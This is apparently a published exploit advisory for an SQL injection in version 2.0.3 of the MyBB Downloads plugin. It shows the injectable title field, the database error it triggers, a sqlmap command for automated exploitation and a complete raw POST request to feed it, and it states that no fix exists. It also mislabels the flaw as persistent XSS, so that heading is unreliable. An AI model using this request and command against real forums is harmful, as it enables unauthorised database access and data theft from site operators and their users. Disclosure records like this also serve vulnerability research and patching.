# Exploit Title: MyBB Downloads 2.0.3 - SQL Injection# Date: 28-10-2018# Exploit Author: Lucian Ioan Nitescu# Contact: https://twitter.com/LucianNitescu# Webiste: https://nitesculucian.github.io# Vendor Homepage: https://github.com/vintagedaddyo/MyBB_Plugin-Downloads# Software Link: https://github.com/vintagedaddyo/MyBB_Plugin-Downloads# Version: 2.0.3# Tested on: Ubuntu 18.041. Description:
It is a plugin which adds a page to download files. If enabled, regular members can add new downloads to the page after admin approval.2. Proof of Concept:
Persistent XSS
- Go to downloads.php page
- Create a New Download
- Add the following to the title: a"
- Now on submit, the user will be prompted to an SQL Injection specific error.
```
MyBB has experienced an internal SQL error and cannot continue.
SQL Error:1064- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"a""' at line 1
Query:
SELECT * FROM mybb_downloads WHERE name="a""
```
- THis can be exploited with: sqlmap -r request_file -p name --threads 53. Request File example:
POST /downloads.php?newdownload=1 HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0(X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8081/downloads.php?newdownload=1
Content-Type: multipart/form-data; boundary=---------------------------171894060312075061251712806160
Content-Length:1029
Cookie: mybb[lastvisit]=1540744980; mybb[lastactive]=1540745020; sid=677a58d33fe23e7f2ea3841c79496fcd; loginattempts=1; mybbuser=3_waeMfSMiIRrTpPqW2uy8ZF8AMx8pyRtMCUJ6Gx0yoGRyLBsBow
Connection: close
Upgrade-Insecure-Requests:1
Cache-Control:max-age=0-----------------------------171894060312075061251712806160
Content-Disposition: form-data; name="my_post_key"
6cb47e578ed16aa5272c55b0cb8745b4
-----------------------------171894060312075061251712806160
Content-Disposition: form-data; name="name"
a"
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Content-Disposition: form-data; name="shortdesc"
test
-----------------------------171894060312075061251712806160
Content-Disposition: form-data; name="description"
test
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Content-Disposition: form-data; name="image"-----------------------------171894060312075061251712806160
Content-Disposition: form-data; name="url"1-----------------------------171894060312075061251712806160
Content-Disposition: form-data; name="numimages"4-----------------------------171894060312075061251712806160
Content-Disposition: form-data; name="submit"
Publish download
-----------------------------171894060312075061251712806160--3. Solution:
There is no public available solution.